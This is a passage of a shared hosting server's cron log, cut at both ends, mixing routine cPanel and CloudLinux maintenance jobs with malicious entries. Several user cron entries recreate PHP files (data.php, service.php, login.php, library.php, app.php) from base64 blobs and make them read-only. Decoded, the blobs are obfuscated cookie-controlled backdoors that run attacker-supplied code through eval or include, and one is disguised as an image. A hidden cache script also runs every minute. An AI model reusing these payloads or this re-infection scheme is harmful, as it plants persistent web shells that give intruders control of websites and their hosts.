ICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:10:01 medusa CROND[7196]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:10:01 medusa CROND[7214]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 11:10:01 medusa CROND[7213]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 11:10:01 medusa CROND[7215]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:10:01 medusa CROND[7216]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:10:01 medusa CROND[7227]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 11:10:01 medusa CROND[7219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:10:01 medusa CROND[7229]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 11:10:01 medusa CROND[7226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7236]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 11:10:01 medusa CROND[7240]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:10:01 medusa CROND[7230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 11:10:01 medusa CROND[7241]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7247]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:10:01 medusa CROND[7237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 11:10:01 medusa CROND[7238]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 11:11:01 medusa CROND[21761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:11:01 medusa CROND[21848]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 11:11:01 medusa CROND[21849]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 11:11:01 medusa CROND[21855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:11:01 medusa CROND[21857]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:11:01 medusa CROND[21859]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:11:01 medusa CROND[21866]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:11:01 medusa CROND[21873]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:11:01 medusa CROND[21874]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:11:01 medusa CROND[21875]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:11:01 medusa CROND[21870]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:11:01 medusa CROND[21876]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:11:01 medusa CROND[21860]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:12:01 medusa CROND[9068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:12:01 medusa CROND[9069]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:12:01 medusa CROND[9070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:12:01 medusa CROND[9072]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:12:01 medusa CROND[9075]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:12:01 medusa CROND[9071]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:12:02 medusa CROND[9074]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ